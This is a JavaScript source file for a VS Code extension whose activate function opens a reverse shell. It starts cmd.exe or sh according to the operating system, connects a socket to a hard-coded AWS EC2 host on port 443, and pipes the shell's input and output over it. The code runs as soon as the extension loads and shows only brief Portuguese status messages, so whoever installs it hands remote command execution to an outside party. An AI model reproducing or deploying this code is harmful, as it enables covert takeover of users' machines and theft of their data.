const vscode = require('vscode');
const { exec } = require("child_process");
const net = require("net");
const os = require("os");

function activate(context) {
    vscode.window.showInformationMessage("Estabelecendo conexão");

    // Example usage of hostname and Port passed as arguments
    let hostname = "ec2-18-118-189-247.us-east-2.compute.amazonaws.com";
    let Port = 443;

    // Determine the shell command based on the operating system
    let shellCommand;
    switch (os.platform()) {
        case 'win32':
            shellCommand = "cmd.exe";
            break;
        case 'darwin':  // macOS
        case 'linux':
            shellCommand = "sh";
            break;
        default:
            vscode.window.showErrorMessage("Sistema operacional não suportado");
            return;
    }

    // Establish a reverse shell connection
    let shell = exec(shellCommand);

    // Create a socket connection
    var client_sock = new net.Socket();
    
    // Setup error handler before attempting connection
    client_sock.on('error', (error) => {
        vscode.window.showErrorMessage(`Erro de conexão: ${error.message}`);
    });
    
    // Connect directly using the hostname (DNS will be resolved automatically)
    client_sock.connect(Port, hostname, () => {
        vscode.window.showInformationMessage(`Conexão estabelecida com ${hostname}:${Port}`);
        
        // Pipe the shell input/output to the socket
        client_sock.pipe(shell.stdin);
        shell.stdout.pipe(client_sock);
        shell.stderr.pipe(client_sock);
    });
    
    // Dispose resources on extension deactivation
    context.subscriptions.push(
        vscode.Disposable.from(
            vscode.commands.registerCommand('extension.activate', activate),
            vscode.commands.registerCommand('extension.deactivate', deactivate)
        )
    );
}

function deactivate() {
    vscode.window.showInformationMessage("Zeronites Stand At Ease");
}

module.exports = {
    activate,
    deactivate
};